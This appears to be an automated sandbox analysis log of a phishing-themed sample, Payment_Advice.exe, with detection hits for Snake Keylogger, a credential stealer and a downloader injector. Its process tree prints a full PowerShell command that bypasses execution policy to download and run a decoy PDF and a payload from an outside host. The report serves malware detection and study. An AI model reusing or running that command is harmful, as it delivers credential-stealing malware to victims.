Source: C:\Windows\Temp\hadvices.scr	Code function: 23_2_015730D0	23_2_015730D0
Source: C:\Windows\Temp\hadvices.scr	Code function: 25_2_016663C8	25_2_016663C8
Source: C:\Windows\Temp\hadvices.scr	Code function: 25_2_01667550	25_2_01667550
Source: C:\Windows\Temp\hadvices.scr	Code function: 25_2_01667540	25_2_01667540
Source: C:\Windows\Temp\hadvices.scr	Code function: 25_2_01660FC0	25_2_01660FC0
Source: C:\Windows\Temp\hadvices.scr	Code function: 25_2_01776168	25_2_01776168
Source: C:\Windows\Temp\hadvices.scr	Code function: 25_2_0177C1F0	25_2_0177C1F0
Source: C:\Windows\Temp\hadvices.scr	Code function: 25_2_0177B388	25_2_0177B388
Source: C:\Windows\Temp\hadvices.scr	Code function: 25_2_0177C4D0	25_2_0177C4D0
Source: C:\Windows\Temp\hadvices.scr	Code function: 25_2_0177C7B2	25_2_0177C7B2
Source: C:\Windows\Temp\hadvices.scr	Code function: 25_2_01776790	25_2_01776790
Source: C:\Windows\Temp\hadvices.scr	Code function: 25_2_017798B8	25_2_017798B8
Source: C:\Windows\Temp\hadvices.scr	Code function: 25_2_01774B31	25_2_01774B31
Source: C:\Windows\Temp\hadvices.scr	Code function: 25_2_0177FA10	25_2_0177FA10
Source: C:\Windows\Temp\hadvices.scr	Code function: 25_2_0177CA92	25_2_0177CA92
Source: C:\Windows\Temp\hadvices.scr	Code function: 25_2_0177EDF0	25_2_0177EDF0
Source: C:\Windows\Temp\hadvices.scr	Code function: 25_2_0177BC32	25_2_0177BC32
Source: C:\Windows\Temp\hadvices.scr	Code function: 25_2_0177BF10	25_2_0177BF10
Source: C:\Windows\Temp\hadvices.scr	Code function: 25_2_0177E310	25_2_0177E310
Source: C:\Windows\Temp\hadvices.scr	Code function: 25_2_0177E300	25_2_0177E300
Source: C:\Windows\Temp\hadvices.scr	Code function: 25_2_0177B552	25_2_0177B552
Source: C:\Windows\Temp\hadvices.scr	Code function: 25_2_017735CA	25_2_017735CA

Source: Payment_Advice.exe, 00000000.00000002.1199149404.00000000057B0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameAQipUvwTwkLZyiCs.dll: vs Payment_Advice.exe
Source: Payment_Advice.exe, 00000000.00000002.1198385946.0000000003011000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameAQipUvwTwkLZyiCs.dll: vs Payment_Advice.exe
Source: Payment_Advice.exe, 00000000.00000002.1198685438.0000000005590000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameExample.dll0 vs Payment_Advice.exe
Source: Payment_Advice.exe, 00000000.00000002.1198509905.0000000004015000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameExample.dll0 vs Payment_Advice.exe
Source: Payment_Advice.exe, 00000000.00000002.1196271509.000000000120E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs Payment_Advice.exe
Source: Payment_Advice.exe, 00000000.00000000.1194113240.0000000000D1C000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamemstlcp0_ipcodecvt_ip6.exeT vs Payment_Advice.exe
Source: Payment_Advice.exe	Binary or memory string: OriginalFilenamemstlcp0_ipcodecvt_ip6.exeT vs Payment_Advice.exe

Source: Payment_Advice.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 23.2.hadvices.scr.3e03d90.4.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_DLInjector02 author = ditekSHen, description = Detects downloader injector
Source: 0.2.Payment_Advice.exe.5590000.4.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_DLInjector02 author = ditekSHen, description = Detects downloader injector
Source: 0.2.Payment_Advice.exe.404e590.3.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_DLInjector02 author = ditekSHen, description = Detects downloader injector
Source: 0.2.Payment_Advice.exe.31018e4.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_DLInjector02 author = ditekSHen, description = Detects downloader injector
Source: 0.2.Payment_Advice.exe.31018e4.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_DLInjector02 author = ditekSHen, description = Detects downloader injector
Source: 0.2.Payment_Advice.exe.404e590.3.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_DLInjector02 author = ditekSHen, description = Detects downloader injector
Source: 0.2.Payment_Advice.exe.5590000.4.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_DLInjector02 author = ditekSHen, description = Detects downloader injector
Source: 23.2.hadvices.scr.5330000.5.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_DLInjector02 author = ditekSHen, description = Detects downloader injector
Source: 23.2.hadvices.scr.3e979f0.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 23.2.hadvices.scr.3e979f0.3.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 23.2.hadvices.scr.3e979f0.3.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 23.2.hadvices.scr.3e979f0.3.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 25.2.hadvices.scr.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 25.2.hadvices.scr.400000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 25.2.hadvices.scr.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 25.2.hadvices.scr.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 23.2.hadvices.scr.3eb8420.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 23.2.hadvices.scr.3eb8420.2.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 23.2.hadvices.scr.3eb8420.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 23.2.hadvices.scr.3eb8420.2.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 23.2.hadvices.scr.3e979f0.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 23.2.hadvices.scr.3e979f0.3.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 23.2.hadvices.scr.3e979f0.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 23.2.hadvices.scr.3e979f0.3.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 23.2.hadvices.scr.3eb8420.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 23.2.hadvices.scr.3eb8420.2.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 23.2.hadvices.scr.3eb8420.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 23.2.hadvices.scr.3eb8420.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 23.2.hadvices.scr.2dbf460.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_DLInjector02 author = ditekSHen, description = Detects downloader injector
Source: 23.2.hadvices.scr.2dc1ca0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_DLInjector02 author = ditekSHen, description = Detects downloader injector
Source: 0.2.Payment_Advice.exe.301f558.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_DLInjector02 author = ditekSHen, description = Detects downloader injector
Source: 0.2.Payment_Advice.exe.3021d98.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_DLInjector02 author = ditekSHen, description = Detects downloader injector
Source: 00000000.00000002.1198685438.0000000005590000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_DLInjector02 author = ditekSHen, description = Detects downloader injector
Source: 00000019.00000002.2449808868.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000019.00000002.2449808868.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000017.00000002.1415714567.0000000003E56000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000017.00000002.1415714567.0000000003E56000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: Process Memory Space: hadvices.scr PID: 3024, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: hadvices.scr PID: 3024, type: MEMORYSTR	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: Process Memory Space: hadvices.scr PID: 8336, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: hadvices.scr PID: 8336, type: MEMORYSTR	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger

Source: 0.2.Payment_Advice.exe.404e590.3.raw.unpack, DarkListView.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Payment_Advice.exe.5590000.4.raw.unpack, DarkListView.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 23.2.hadvices.scr.3eb8420.2.raw.unpack, ---.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 23.2.hadvices.scr.3eb8420.2.raw.unpack, ---.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 23.2.hadvices.scr.3eb8420.2.raw.unpack, -O-.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 23.2.hadvices.scr.3eb8420.2.raw.unpack, -O-.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 0.2.Payment_Advice.exe.404e590.3.raw.unpack, DarkComboBox.cs	Base64 encoded string: 'Uwm+UuKGd614I69RzLI93aXq8M4plP4Fl8XGnAA54HkS/0jMOBsYAdDU3ufQvFFjYZJP0JeYZcnDYanLTNfb9IJuC/u1be1KdJkORevGYuzVlkHzJtU9FNAhjxyJAuY/'
Source: 0.2.Payment_Advice.exe.5590000.4.raw.unpack, DarkComboBox.cs	Base64 encoded string: 'Uwm+UuKGd614I69RzLI93aXq8M4plP4Fl8XGnAA54HkS/0jMOBsYAdDU3ufQvFFjYZJP0JeYZcnDYanLTNfb9IJuC/u1be1KdJkORevGYuzVlkHzJtU9FNAhjxyJAuY/'

Source: Payment_Advice.exe, ----.cs	Suspicious method names: ._DBB0_DED3_FFFD_FFFD.InjectEvent
Source: Payment_Advice.exe, C---.cs	Suspicious method names: .C_FFFD_0333_FFFD.InjectEvent
Source: Payment_Advice.exe, -U.cs	Suspicious method names: ._05B5U.InjectEvent
Source: Payment_Advice.exe, ---.cs	Suspicious method names: ._0332_0332_FFFD.InjectEvent

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winEXE@28/57@8/7

Source: C:\Users\user\Desktop\Payment_Advice.exe

Code function: 2_2_00402762 LoadResource,SizeofResource,FreeResource,

2_2_00402762

Source: C:\Users\user\Desktop\Payment_Advice.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Payment_Advice.exe.log

Jump to behavior

Source: C:\Windows\Temp\hadvices.scr	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3092:120:WilError_03

Source: C:\Users\user\Desktop\Payment_Advice.exe

File created: C:\Users\user\AppData\Local\Temp\9D53.tmp

Jump to behavior

Source: C:\Users\user\Desktop\Payment_Advice.exe

Process created: C:\Windows\System32\wscript.exe "C:\Windows\sysnative\wscript.exe" C:\Users\user\AppData\Local\Temp\9D53.tmp\9D54.tmp\9D55.vbs //Nologo

Source: Payment_Advice.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: Payment_Advice.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%

Source: C:\Users\user\Desktop\Payment_Advice.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Payment_Advice.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: hadvices.scr, 00000019.00000002.2455454438.00000000033D6000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.000000000339F000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.00000000033AD000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.00000000033E2000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.000000000338F000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2460553159.00000000041C6000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: Payment_Advice.exe

ReversingLabs: Detection: 28%

Source: Payment_Advice.exe

String found in binary or memory: -Additional exception information unavailable.

Source: unknown	Process created: C:\Users\user\Desktop\Payment_Advice.exe "C:\Users\user\Desktop\Payment_Advice.exe"
Source: C:\Users\user\Desktop\Payment_Advice.exe	Process created: C:\Users\user\Desktop\Payment_Advice.exe "C:\Users\user\Desktop\Payment_Advice.exe"
Source: C:\Users\user\Desktop\Payment_Advice.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\sysnative\wscript.exe" C:\Users\user\AppData\Local\Temp\9D53.tmp\9D54.tmp\9D55.vbs //Nologo
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'https://advising-receipts.com/hsbc/Payment_Advice.pdf' -OutFile 'C:\Users\Public\Payment_Advice.pdf'; Start-Process 'C:\Users\Public\Payment_Advice.pdf'; Invoke-WebRequest -Uri 'https://advising-receipts.com/hsbc/hadvices.scr' -OutFile 'C:\Windows\Temp\hadvices.scr'; Start-Process 'C:\Windows\Temp\hadvices.scr'"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\Public\Payment_Advice.pdf"
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1700,i,16204253092957558570,3256571588782708314,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Temp\hadvices.scr "C:\Windows\Temp\hadvices.scr" /S
Source: C:\Windows\Temp\hadvices.scr	Process created: C:\Windows\Temp\hadvices.scr "C:\Windows\Temp\hadvices.scr"
Source: C:\Users\user\Desktop\Payment_Advice.exe	Process created: C:\Users\user\Desktop\Payment_Advice.exe "C:\Users\user\Desktop\Payment_Advice.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\sysnative\wscript.exe" C:\Users\user\AppData\Local\Temp\9D53.tmp\9D54.tmp\9D55.vbs //Nologo	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'https://advising-receipts.com/hsbc/Payment_Advice.pdf' -OutFile 'C:\Users\Public\Payment_Advice.pdf'; Start-Process 'C:\Users\Public\Payment_Advice.pdf'; Invoke-WebRequest -Uri 'https://advising-receipts.com/hsbc/hadvices.scr' -OutFile 'C:\Windows\Temp\hadvices.scr'; Start-Process 'C:\Windows\Temp\hadvices.scr'"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\Public\Payment_Advice.pdf"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Temp\hadvices.scr "C:\Windows\Temp\hadvices.scr" /S	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1700,i,16204253092957558570,3256571588782708314,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\Temp\hadvices.scr	Process created: C:\Windows\Temp\hadvices.scr "C:\Windows\Temp\hadvices.scr"

Source: C:\Users\user\Desktop\Payment_Advice.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
